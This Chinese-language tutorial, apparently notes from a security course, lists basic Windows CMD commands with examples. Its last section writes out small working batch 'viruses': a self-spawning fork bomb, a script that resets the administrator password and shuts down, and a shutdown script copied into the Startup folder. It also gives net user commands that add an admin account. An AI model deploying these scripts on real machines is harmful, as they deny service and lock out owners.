windows基础二

Windows2

声明！
学习视频来自B站up主 泷羽sec 有兴趣的师傅可以关注一下，如涉及侵权马上删除文章，笔记只是方便各位师傅的学习和探讨，文章所提到的网站以及内容，只做学习交流，其他均与本人以及泷羽sec团队无关，切勿触碰法律底线，否则后果自负！！！！有兴趣的小伙伴可以点击下面连接进入b站主页B站泷羽sec

这篇可以看做是CMD常见命令的补充篇CMD常见指令，感兴趣的小伙伴可以看看

（前置知识）常见端口即对应服务

常用的CMD命令

echo——输出

echo /? #查看帮助文档

echo string #输出string的内容

echo string > **.txt #将输出内容写入到**.txt

echo string >> **.txt #将输出内容追加到**.txt

dir——展示当前目录

直接输入dir即可获取当前目录信息

C:\Users\Administrator>dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 60E8-8EA6

 C:\Users\Administrator 的目录

2024/11/08  19:52    <DIR>          .
2024/11/08  19:52    <DIR>          ..
2024/11/08  19:52    <DIR>          Contacts
2024/11/08  19:52    <DIR>          Desktop
2024/11/08  19:52    <DIR>          Documents
2024/11/08  19:52    <DIR>          Downloads
2024/11/08  19:52    <DIR>          Favorites
2024/11/08  19:52    <DIR>          Links
2024/11/08  19:52    <DIR>          Music
2024/11/08  19:52    <DIR>          OneDrive
2024/11/08  19:52    <DIR>          Pictures
2024/11/08  19:52    <DIR>          Saved Games
2024/11/08  19:52    <DIR>          Searches
2024/11/08  19:52    <DIR>          Videos
               0 个文件              0 字节
              14 个目录 245,227,241,472 可用字节

d: c: 和cd ——切换目录

d: #切换到d盘
c: #切换到C盘
cd /文件夹名称   # 切换到文件夹下
cd .. #切换到上级目录

tree——文件树状图

tree /? #查看帮助文档
tree /f #查看每个文件夹的名称
tree /a #使用ascll字符，且不使用扩展字符

md——创建和删除

Mkdir和rmdir

md kkk #创建kkk的文件夹
rd kkk # 删除kkk的文件夹

ipconfig ——显示ip地址

Ipconfig 不用多说啦吧，在linux系统中为ifconfig

cls——清屏

copy——复制拼接文件

copy /? #查看帮助文档
copy **.txt ../**.txt #将**.txt复制到上级目录
copy 1.txt desktop\2.txt #将1.txt复制到桌面并命名2.txt
copy 1.txt+2.txt 3.txt #将1.txt和2.txt拼接为3.txt

Move——移动文件

move ..\1.txt 2.txt # 将上级目录的1.txt移到这级目录然后命名为2.txt

ren——重命名

ren 1.txt 2.txt #将1.txt重命名为2.txt

del——删除

del 1.txt #永久删除1.txt，不会进入回收站

ping——检测ip 畅通性

ping **** 

type ——查看文件内容

type 1.txt # 在不点击1.txt的情况下产看1.txt的内容

reg——注册表

nslookup ——探测域名信息

nslookup -d 域名 # 产看域名的历史解析记录
nslookup 域名 # 产看域名解析

find——查找

find /?  #查看参数
find "a" 1.txt #在1.txt中查询带a
find /n "a" 1.txt # 查找a参数的字段并排序行号
type 1.txt | find "a" #产看1.txt并输出带有a参数的字段

tasklist/taskkill——任务列表

tasklist #查看任务列表 显示出当前的进程名称等信息
taskkill /? #查看帮助文档
taskkill /pid *** #通过tasklist可以查看pid
taskkill /f #遇到杀不死加/f即可

ver/winver——查看版本

直接输入就好，winvar会弹出一个窗口显示

start——开启命令

logoff——注销

shutdown——关机

arp

Arp自己的IP和物理机的映射关系表

arp /? # 查看帮助文档
arp -a # 发现同一网络还有哪些机器

at——定时任务

net——服务

net stop/start 服务名 # 停止/开启服务
net user  #查看当前用户
net user admin 123 /add #添加用户名admin,密码123的用户
net user admin # 查看admin用户权限
net user administrator #查看管理员用户权限
net localgroup Administrators admin /add #提权
net user admin #查看admin用户权限
net user admin /delete # 删除用户

编写资源耗尽病毒bat

echo start cmd > 1.txt
echo %0 >>1.txt
ren 1.txt 1.bat

锁机病毒

echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /s /t 0 >> c:\windows\Temp\1.bat

无限重启病毒

echo shutdown /s /t 0 > c:\windows\Temp\2.bat
copy c:\windows\Temp\2.bat "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup\"